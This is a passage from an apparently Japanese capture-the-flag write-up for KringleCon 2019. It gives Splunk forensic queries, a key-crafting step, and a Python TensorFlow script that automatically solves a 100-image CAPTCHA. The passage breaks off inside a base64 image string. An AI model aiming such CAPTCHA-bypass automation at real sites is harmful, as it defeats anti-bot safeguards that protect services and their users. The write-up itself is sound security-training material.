インシデントレスポンスチームのリーダーみたいなキャラクターからチャット形式でヒントをもらえるので、指示通りに検索していけばクリア。

1. What is the short host name of Professor Banas' computer?

チャットにそのまま答えがある。

f:id:graneed:20191230043248p:plain

answer: sweetums

2. What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)

index=main santaで検索。

f:id:graneed:20191230043209p:plain

answer: C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt

3. What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)

index=main sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational powershell EventCode=3で検索。

f:id:graneed:20191230043904p:plain

answer: 144.202.46.214.vultr.com

4. What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)

index=main sourcetype="WinEventLog:Microsoft-Windows-Powershell/Operational" | reverseで検索し、先頭レコードの時間の前後5秒間で絞り込んだ上で、index=mainで検索。

f:id:graneed:20191230051058p:plain

プロセスIDが62685864の2件に絞られる。イベントログのプロセスIDは16進数であるため、6268から16進数の0x187Cに変換してイベントログから検索する。 index=main sourcetype=WinEventLog New_Process_ID=0x187Cで検索。

f:id:graneed:20191230083710p:plain

answer: 19th Century Holiday Cheer Assignment.docm

5. How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)

index=main sourcetype=stoq results{}.workers.smtp.subject="Holiday Cheer Assignment submission"
| table results{}.workers.smtp.from
| dedup results{}.workers.smtp.from
| stats count

で検索。

f:id:graneed:20191230090038p:plain

answer: 21

6. What was the password for the zip archive that contained the suspicious file?

index=main sourcetype=stoq results{}.payload_meta.extra_data.filename="Buttercups_HOL404_assignment.zip"
| table results{}.workers.smtp.from results{}.workers.smtp.body

で検索。

f:id:graneed:20191230091354p:plain

answer: 123456789

7. What email address did the suspicious file come from?

6のサーチ結果から。

answer: bradly.buttercups@eifu.org

What was the message for Kent that the adversary embedded in this attack?

index=main sourcetype=stoq  "results{}.workers.smtp.from"="bradly buttercups <bradly.buttercups@eifu.org>"
| eval results = spath(_raw, "results{}") 
| mvexpand results
| eval path=spath(results, "archivers.filedir.path"), filename=spath(results, "payload_meta.extra_data.filename"), fullpath=path."/".filename 
| search fullpath!="" 
| table filename,fullpath

で検索。

f:id:graneed:20191230093413p:plain

docmファイルの実体はzipファイルであるため、中身が展開されてサーバに置かれている。 ドキュメントのプロパティはcore.xmlに書かれているので確認する。

f:id:graneed:20191230093514p:plain

f:id:graneed:20191230093623p:plain

answer: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

7) Get Access To The Steam Tunnels

ある部屋に入ると、krampusというキャラクターが逃げていく。逃げた先には鍵がかかっている。 krampusのキャラクター画像の腰元に鍵があり、その画像から鍵を作成する。

開発者ツールで観察するとkrampusの画像は以下のURLであることがわかる。
https://2019.kringlecon.com/images/avatars/elves/krampus.png

f:id:graneed:20191230163449p:plain

近くに鍵を作成するツールがある。krampusの画像の鍵の凸凹の深さに合わせて数値を調整する。

f:id:graneed:20191230164116p:plain

122520で一致した。

f:id:graneed:20191230164129p:plain

鍵を解除した先で、Krampusのフルネームがわかる。

answer: Krampus Hollyfeld

8) Bypassing the Frido Sleigh CAPTEHA

100個の画像を使用したCAPTCHA認証を5秒以内に突破する問題。人間ではクリアできない時間と量であるため機械学習を使用する。 幸いにも、教師データが12000ファイルくらい与えられている。

Terminal問題をクリアして得られたヒント動画で公開されていた、以下のgithubリポジトリを活用する。
GitHub - chrisjd20/img_rec_tf_ml_demo: Image Recognition Using TensorFlow Machine Learning Demo to recognize Apples from Bananas

モデルの作成は、上記のリポジトリのretrain.pyをそのまま使用できる。

CAPTCHA画像を取得、機械学習による解析および解答を行うプログラムは以下のとおり。

#!/usr/bin/env python3
# Fridosleigh.com CAPTEHA API - Made by Krampus Hollyfeld
import requests
import json
import sys
import base64

import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import tensorflow as tf
tf.logging.set_verbosity(tf.logging.ERROR)
import numpy as np
import threading
import queue
import time

def load_labels(label_file):
    label = []
    proto_as_ascii_lines = tf.gfile.GFile(label_file).readlines()
    for l in proto_as_ascii_lines:
        label.append(l.rstrip())
    return label

def predict_image(q, img, challenge_image_types, sess, graph, labels, input_operation, output_operation):
    image_bytes = base64.b64decode(img["base64"].encode("UTF-8"))
    image = read_tensor_from_image_bytes(image_bytes)
    results = sess.run(output_operation.outputs[0], {
        input_operation.outputs[0]: image
    })
    results = np.squeeze(results)
    prediction = results.argsort()[-5:][::-1][0]
    if labels[prediction].title() in challenge_image_types:
        print(img["uuid"], labels[prediction].title())
        q.put(img)

    return labels[prediction].title()

def load_graph(model_file):
    graph = tf.Graph()
    graph_def = tf.GraphDef()
    with open(model_file, "rb") as f:
        graph_def.ParseFromString(f.read())
    with graph.as_default():
        tf.import_graph_def(graph_def)
    return graph

def read_tensor_from_image_bytes(imagebytes, input_height=299, input_width=299, input_mean=0, input_std=255):
    image_reader = tf.image.decode_png( imagebytes, channels=3, name="png_reader")
    float_caster = tf.cast(image_reader, tf.float32)
    dims_expander = tf.expand_dims(float_caster, 0)
    resized = tf.image.resize_bilinear(dims_expander, [input_height, input_width])
    normalized = tf.divide(tf.subtract(resized, [input_mean]), [input_std])
    sess = tf.compat.v1.Session()
    result = sess.run(normalized)
    return result

def main():
    yourREALemailAddress = "pmkenpks@sharklasers.com"

    '''
    MISSING IMAGE PROCESSING AND ML IMAGE PREDICTION CODE GOES HERE
    '''
    # Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory
    graph = load_graph('./retrain_tmp/output_graph.pb')
    labels = load_labels("./retrain_tmp/output_labels.txt")

    # Load up our session
    input_operation = graph.get_operation_by_name("import/Placeholder")
    output_operation = graph.get_operation_by_name("import/final_result")
    sess = tf.compat.v1.Session(graph=graph)

    dummy_img = {'base64': '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